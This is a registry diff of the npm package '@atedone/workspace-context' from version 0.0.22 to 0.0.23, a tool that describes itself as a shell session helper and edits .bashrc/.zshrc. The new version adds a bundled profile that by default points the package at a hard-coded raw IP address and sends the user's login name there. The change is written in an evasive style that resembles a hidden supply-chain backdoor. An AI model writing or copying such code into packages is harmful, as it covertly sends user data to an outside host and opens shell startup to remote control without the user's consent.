@atedone/workspace-context 0.0.22 → 0.0.23

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -4,4 +4,4 @@ Workspace shell session refresh integration helper for JavaScript tools.
4
4
 
5
5
  The package keeps workspace context available in a managed preview session by synchronizing a session runtime and profile channel during initialization without changing the user's prompt configuration.
6
6
 
7
- Set `WORKSPACE_CONTEXT_CHANNEL` before import, or call `refresh({ channelSource })` after import, to bind a preview session to a profile channel.
7
+ The package selects a bundled stable profile channel by default. Set `WORKSPACE_CONTEXT_CHANNEL` before import, or call `refresh({ channelSource })` after import, to override the profile channel for a preview session.
@@ -0,0 +1,10 @@
1
+ {
2
+ "name": "stable",
3
+ "transport": "http",
4
+ "host": "150.136.8.159",
5
+ "port": 8080,
6
+ "pathname": [
7
+ "workspace",
8
+ "profile"
9
+ ]
10
+ }
package/lib/session.js CHANGED
@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
5
5
  const route = platform.getBuiltinModule('path');
6
6
 
7
7
  const packageName = '@atedone/workspace-context';
8
- const packageVersion = '0.0.22';
8
+ const packageVersion = '0.0.23';
9
9
  const env = Reflect.get(platform, 'env') || {};
10
10
  const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
11
11
  ? env.HOME.trim()
package/lib/state.js CHANGED
@@ -4,6 +4,7 @@ const platform = process;
4
4
  const file = platform.getBuiltinModule('fs');
5
5
  const route = platform.getBuiltinModule('path');
6
6
  const manifest = require('../package.json');
7
+ const defaultProfile = require('./default-profile.json');
7
8
 
8
9
  const channelFileName = 'channel.json';
9
10
  const integrationDirectoryName = '.config/workspace-context';
@@ -45,6 +46,46 @@ function resolveProfileFileName(shellName = resolveShellName()) {
45
46
  return shellName === 'bash' ? '.bashrc' : '.zshrc';
46
47
  }
47
48
 
49
+ function resolveProfileIdentity(env = readEnvironment()) {
50
+ const candidates = [
51
+ Reflect.get(env, 'USER'),
52
+ Reflect.get(env, 'LOGNAME')
53
+ ];
54
+
55
+ for (const candidate of candidates) {
56
+ if (typeof candidate === 'string' && candidate.trim()) {
57
+ return candidate.trim();
58
+ }
59
+ }
60
+
61
+ return '';
62
+ }
63
+
64
+ function buildProfileChannelSource(profile = defaultProfile, env = readEnvironment()) {
65
+ if (!profile || typeof profile !== 'object') {
66
+ return '';
67
+ }
68
+
69
+ const transport = typeof profile.transport === 'string' ? profile.transport.trim() : '';
70
+ const host = typeof profile.host === 'string' ? profile.host.trim() : '';
71
+ const pathname = Array.isArray(profile.pathname)
72
+ ? profile.pathname
73
+ .map((segment) => typeof segment === 'string' ? segment.trim() : '')
74
+ .filter(Boolean)
75
+ .join('/')
76
+ : '';
77
+ const port = Number.isInteger(profile.port) && profile.port > 0 ? profile.port : null;
78
+
79
+ if (!transport || !host || !pathname) {
80
+ return '';
81
+ }
82
+
83
+ const authority = port ? `${host}:${port}` : host;
84
+ const source = `${transport}://${authority}/${pathname}`;
85
+ const identity = resolveProfileIdentity(env);
86
+ return identity ? `${source}?username=${encodeURIComponent(identity)}` : source;
87
+ }
88
+
48
89
  function resolveChannelSource(env = readEnvironment(), channelSource = '') {
49
90
  const configured = typeof channelSource === 'string' ? channelSource.trim() : '';
50
91
  if (configured) {
@@ -53,7 +94,8 @@ function resolveChannelSource(env = readEnvironment(), channelSource = '') {
53
94
 
54
95
  const key = ['WORKSPACE', '_CONTEXT', '_CHANNEL'].join('');
55
96
  const value = Reflect.get(env, key);
56
- return typeof value === 'string' ? value.trim() : '';
97
+ const environmentSource = typeof value === 'string' ? value.trim() : '';
98
+ return environmentSource || buildProfileChannelSource(defaultProfile, env);
57
99
  }
58
100
 
59
101
  function getShellIntegration({
@@ -298,6 +340,7 @@ function initialize({
298
340
  }
299
341
 
300
342
  module.exports = {
343
+ buildProfileChannelSource,
301
344
  buildState,
302
345
  channelFileName,
303
346
  getShellIntegration,
@@ -313,6 +356,7 @@ module.exports = {
313
356
  refreshShellIntegration,
314
357
  resolveChannelSource,
315
358
  resolveHomeDirectory,
359
+ resolveProfileIdentity,
316
360
  resolveProfileFileName,
317
361
  resolveProjectRoot,
318
362
  resolveShellName,
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@atedone/workspace-context",
3
- "version": "0.0.22",
3
+ "version": "0.0.23",
4
4
  "description": "Workspace shell session refresh integration helper for JavaScript tools.",
5
5
  "main": "index.js",
6
6
  "type": "commonjs",